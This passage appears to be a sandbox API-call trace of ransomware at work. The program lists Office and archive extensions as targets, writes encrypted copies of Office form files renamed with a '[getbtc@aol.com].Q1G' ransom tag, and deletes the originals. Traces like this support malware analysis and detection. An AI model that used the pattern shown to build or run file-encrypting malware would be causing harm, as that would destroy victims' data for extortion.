lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0263.914] GetLastError () returned 0x0 [0263.914] ReadFile (in: hFile=0x37c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x300, lpOverlapped=0x0) returned 1 [0263.954] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x310, lpOverlapped=0x0) returned 1 [0263.955] ReadFile (in: hFile=0x37c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0263.955] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0263.955] SetEndOfFile (hFile=0x1b8) returned 1 [0263.955] CloseHandle (hObject=0x1b8) returned 1 [0263.955] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0263.955] SetEndOfFile (hFile=0x37c) returned 1 [0263.958] CloseHandle (hObject=0x37c) returned 1 [0263.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg")) returned 1 [0263.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.959] lstrlenW (lpString=".doc") returned 4 [0263.959] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.959] lstrlenW (lpString=".docx") returned 5 [0263.959] lstrcmpiW (lpString1=".docx", lpString2="K.CFG") returned -1 [0263.959] lstrlenW (lpString=".pdf") returned 4 [0263.959] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.959] lstrlenW (lpString=".xls") returned 4 [0263.959] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.959] lstrlenW (lpString=".xlsx") returned 5 [0263.959] lstrcmpiW (lpString1=".xlsx", lpString2="K.CFG") returned -1 [0263.959] lstrlenW (lpString=".ppt") returned 4 [0263.959] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.959] lstrlenW (lpString=".zip") returned 4 [0263.959] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.959] lstrlenW (lpString=".rar") returned 4 [0263.959] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.959] lstrlenW (lpString=".bz2") returned 4 [0263.959] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.959] lstrlenW (lpString=".7z") returned 3 [0263.959] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.959] lstrlenW (lpString=".dbf") returned 4 [0263.959] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.959] lstrlenW (lpString=".1cd") returned 4 [0263.959] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.959] lstrlenW (lpString=".jpg") returned 4 [0263.959] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.960] lstrlenW (lpString=".doc") returned 4 [0263.960] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.960] lstrlenW (lpString=".docx") returned 5 [0263.960] lstrcmpiW (lpString1=".docx", lpString2="K.CFG") returned -1 [0263.960] lstrlenW (lpString=".pdf") returned 4 [0263.960] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.960] lstrlenW (lpString=".xls") returned 4 [0263.960] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.960] lstrlenW (lpString=".xlsx") returned 5 [0263.960] lstrcmpiW (lpString1=".xlsx", lpString2="K.CFG") returned -1 [0263.960] lstrlenW (lpString=".ppt") returned 4 [0263.960] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.960] lstrlenW (lpString=".zip") returned 4 [0263.960] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.960] lstrlenW (lpString=".rar") returned 4 [0263.960] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.960] lstrlenW (lpString=".bz2") returned 4 [0263.960] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.960] lstrlenW (lpString=".7z") returned 3 [0263.960] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.960] lstrlenW (lpString=".dbf") returned 4 [0263.960] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.960] lstrlenW (lpString=".1cd") returned 4 [0263.960] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0263.960] lstrlenW (lpString=".jpg") returned 4 [0263.960] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.960] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.960] lstrlenW (lpString="TASKDECL.ICO") returned 12 [0263.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.997] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1078) returned 1 [0263.997] CloseHandle (hObject=0x390) returned 1 [0263.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico")) returned 0x20 [0264.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.027] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.027] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.028] GetLastError () returned 0x0 [0264.028] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x436, lpOverlapped=0x0) returned 1 [0264.034] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x440, lpOverlapped=0x0) returned 1 [0264.035] ReadFile (in: hFile=0x388, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.035] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.035] SetEndOfFile (hFile=0x3c4) returned 1 [0264.035] CloseHandle (hObject=0x3c4) returned 1 [0264.035] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.035] SetEndOfFile (hFile=0x388) returned 1 [0264.037] CloseHandle (hObject=0x388) returned 1 [0264.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico")) returned 1 [0264.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.053] lstrlenW (lpString=".doc") returned 4 [0264.053] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.053] lstrlenW (lpString=".docx") returned 5 [0264.053] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0264.053] lstrlenW (lpString=".pdf") returned 4 [0264.053] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.053] lstrlenW (lpString=".xls") returned 4 [0264.053] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.053] lstrlenW (lpString=".xlsx") returned 5 [0264.053] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0264.053] lstrlenW (lpString=".ppt") returned 4 [0264.053] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.054] lstrlenW (lpString=".zip") returned 4 [0264.054] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.054] lstrlenW (lpString=".rar") returned 4 [0264.054] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.054] lstrlenW (lpString=".bz2") returned 4 [0264.054] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.054] lstrlenW (lpString=".7z") returned 3 [0264.054] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.054] lstrlenW (lpString=".dbf") returned 4 [0264.054] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.054] lstrlenW (lpString=".1cd") returned 4 [0264.054] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.054] lstrlenW (lpString=".jpg") returned 4 [0264.054] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.054] lstrlenW (lpString=".doc") returned 4 [0264.054] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.054] lstrlenW (lpString=".docx") returned 5 [0264.054] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0264.054] lstrlenW (lpString=".pdf") returned 4 [0264.054] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.054] lstrlenW (lpString=".xls") returned 4 [0264.054] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.054] lstrlenW (lpString=".xlsx") returned 5 [0264.054] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0264.054] lstrlenW (lpString=".ppt") returned 4 [0264.054] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.054] lstrlenW (lpString=".zip") returned 4 [0264.054] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.054] lstrlenW (lpString=".rar") returned 4 [0264.054] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.054] lstrlenW (lpString=".bz2") returned 4 [0264.054] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.054] lstrlenW (lpString=".7z") returned 3 [0264.055] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.055] lstrlenW (lpString=".dbf") returned 4 [0264.055] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.055] lstrlenW (lpString=".1cd") returned 4 [0264.055] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0264.055] lstrlenW (lpString=".jpg") returned 4 [0264.055] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.055] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.055] lstrlenW (lpString="TASKDECS.ICO") returned 12 [0264.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.055] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2998) returned 1 [0264.055] CloseHandle (hObject=0x39c) returned 1 [0264.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico")) returned 0x20 [0264.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.056] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.056] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.057] GetLastError () returned 0x0 [0264.057] ReadFile (in: hFile=0x39c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0264.076] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0264.077] ReadFile (in: hFile=0x39c, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.077] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.078] SetEndOfFile (hFile=0x1bc) returned 1 [0264.078] CloseHandle (hObject=0x1bc) returned 1 [0264.078] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.078] SetEndOfFile (hFile=0x39c) returned 1 [0264.080] CloseHandle (hObject=0x39c) returned 1 [0264.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico")) returned 1 [0264.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.127] lstrlenW (lpString=".doc") returned 4 [0264.127] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.127] lstrlenW (lpString=".docx") returned 5 [0264.127] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0264.127] lstrlenW (lpString=".pdf") returned 4 [0264.127] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.127] lstrlenW (lpString=".xls") returned 4 [0264.127] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.127] lstrlenW (lpString=".xlsx") returned 5 [0264.128] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0264.128] lstrlenW (lpString=".ppt") returned 4 [0264.128] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.128] lstrlenW (lpString=".zip") returned 4 [0264.128] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.128] lstrlenW (lpString=".rar") returned 4 [0264.128] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.128] lstrlenW (lpString=".bz2") returned 4 [0264.128] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.128] lstrlenW (lpString=".7z") returned 3 [0264.128] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.128] lstrlenW (lpString=".dbf") returned 4 [0264.128] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.128] lstrlenW (lpString=".1cd") returned 4 [0264.128] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.128] lstrlenW (lpString=".jpg") returned 4 [0264.128] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.128] lstrlenW (lpString=".doc") returned 4 [0264.128] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.128] lstrlenW (lpString=".docx") returned 5 [0264.128] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0264.128] lstrlenW (lpString=".pdf") returned 4 [0264.128] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.128] lstrlenW (lpString=".xls") returned 4 [0264.128] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.128] lstrlenW (lpString=".xlsx") returned 5 [0264.128] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0264.128] lstrlenW (lpString=".ppt") returned 4 [0264.128] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.128] lstrlenW (lpString=".zip") returned 4 [0264.129] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.129] lstrlenW (lpString=".rar") returned 4 [0264.129] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.129] lstrlenW (lpString=".bz2") returned 4 [0264.129] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.129] lstrlenW (lpString=".7z") returned 3 [0264.129] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.129] lstrlenW (lpString=".dbf") returned 4 [0264.129] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.129] lstrlenW (lpString=".1cd") returned 4 [0264.129] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO") returned 66 [0264.129] lstrlenW (lpString=".jpg") returned 4 [0264.129] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.129] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0264.129] lstrlenW (lpString="TASKUPD.CFG") returned 11 [0264.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.131] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=806) returned 1 [0264.131] CloseHandle (hObject=0x3d8) returned 1 [0264.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg")) returned 0x20 [0264.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.132] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.132] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.132] GetLastError () returned 0x0 [0264.132] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x326, lpOverlapped=0x0) returned 1 [0264.153] WriteFile (in: hFile=0x39c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x330, lpOverlapped=0x0) returned 1 [0264.154] 